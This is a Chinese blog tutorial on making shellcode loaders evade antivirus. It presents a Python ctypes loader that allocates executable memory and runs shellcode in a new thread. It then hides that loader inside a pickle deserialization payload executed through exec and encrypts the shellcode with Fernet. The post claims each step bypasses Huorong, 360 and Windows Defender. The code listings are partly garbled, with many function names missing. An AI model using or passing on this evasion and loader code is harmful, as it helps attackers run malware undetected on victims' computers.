python反序列化免杀方式,过火绒、360、windows defender

2023-06-0508:34:08WEB安全防护Comments1,693 views字数 3313阅读模式
1简介文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

一种python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

2正文文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

一个python加载器

下面具体举例一个python分离加载的例子文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

import ctypesf=open('','rb')shellcode=()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为.restype=#申请内存ptr=((0),(len(shellcode)),(0x3000),(0x40))#放入shellcodebuf=( *len(shellcode)).from_buffer(shellcode)(   (ptr),   buf,   (len(shellcode)))

#创建一个线程从shellcode放置位置首地址开始执行文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

handle=(            (0),   (0),   (ptr),   (0),   (0),   ((0)))#等待上面创建的线程运行完((handle),(-1))

 文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

意料之中,烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

前置基础

  • pickle,它能够实现任意对象与文本之间的相互转化,也可以实现任意对象与二进制之间的相互转化。也就是说,pickle 可以实现 Python 对象的存储及恢复
  • crypto graphy.fernet提供python加密lib
>>>from  importFernet>>>#Put this somewhere safe!>>>key =()>>>f =Fernet(key)>>>token =(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>(token)'Areally secret message. Not for prying eyes.'

 文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

运用反序列化简单免杀

初步尝试下火绒&&360的免杀能力,这两个相对简单些文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

加入反序列化语句,进行编码如下文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

#pickle dumpimport pickle
shellcode="""importctypes
f= open('', 'rb')shellcode= ()shellcode= bytearray(shellcode)#设置VirtualAlloc返回类型为.restype= #申请内存ptr= ((0),(len(shellcode)), (0x3000),(0x40))#放入shellcodebuf= ( *len(shellcode)).from_buffer(shellcode)(   (ptr),   buf,   (len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= (   (0),   (0),   (ptr),   (0),   (0),   ((0)))#等待上面创建的线程运行完((handle),(-1))"""

class A(object):   def __reduce__(self):       return(exec,(shellcode,))

ret=(A())with open("",'wb')asimg:   (ret)#pickle loadimport pickleimport ctypes#try:#    temp = open("", "rb").read()#    shellcode = (temp)#except Exception as err:#    print("err = {0}".format(err))#    input("123")

temp=open("","rb").read()shellcode=(temp)
#pyinstaller -F .\defender_pickle_load.py
  • 测试结果,bypass火绒

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

继续测试下260

测试后,比较幸运,直接bypass360文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

windows defender的绕过

简单总结下,当下的进展文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

  • 火绒过
  • 360过

首先测试下windows静态扫描文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

发现ico 和 png文件均报毒文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

  • 这里的思路不止一种,比如放到服务器、编码静态文件等
  • 下面提供一种思路,利用python-fernet对静态文件进行加密
  • 编码如下
#-*- coding:utf-8 -*#对静态文件进行加密from  import Fernet
#shellcode 加密你也可以分离免杀test_f=open('','rb')shellcode=test_()shellcode=bytearray(shellcode)
()#加密key=()f=Fernet(key)enc_pay=(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./","w+")(())()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("shellcode= (shellcode)")
print("shellcode= bytearray(shellcode)")

#shellcode 加密你也可以分离免杀test_f=open('','rb')shellcode=test_()shellcode=bytearray(shellcode)
()#加密key=()f=Fernet(key)enc_pay=(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./","w+")(())()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("temp= (temp)")

#defender_pickle_dump.py文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

import pickle
shellcode="""importctypesfrom import Fernet
f= open('', 'rb')shellcode= ()key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='f_obj= Fernet(key)shellcode= (shellcode)shellcode= bytearray(shellcode)
#设置VirtualAlloc返回类型为.restype= #申请内存ptr= ((0),(len(shellcode)), (0x3000),(0x40))#放入shellcodebuf= ( *len(shellcode)).from_buffer(shellcode)(   (ptr),   buf,   (len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= (   (0),   (0),   (ptr),   (0),   (0),   ((0)))#等待上面创建的线程运行完((handle),(-1))"""

class A(object):   def __reduce__(self):       return(exec,(shellcode,))

ret=(A())with open("",'wb')asimg:   (ret)import pickleimport ctypesfrom  importFernet
#try:#    temp = open("", "rb").read()#    shellcode = (temp)#except Exception as err:#    print("err = {0}".format(err))#    input("123")

temp=open("","rb").read()
key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='f_obj=Fernet(key)temp=(temp)
shellcode=(temp)
  • ok 成功绕过windows defender

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

python反序列化免杀方式,过火绒、360、windows defender文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

3写在最后文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

切记,免杀学的是思路,不是具体的方法,本文的也只是提供了一个思路,擅于思考,也多多考虑多种方法结合。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/anquan/44462.html

  • 本站内容整理自互联网,仅提供信息存储空间服务,以方便学习之用。如对文章、图片、字体等版权有疑问,请在下方留言,管理员看到后,将第一时间进行处理。
  • 转载请务必保留本文链接:https://www.cainiaoxueyuan.com/anquan/44462.html

Comment

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定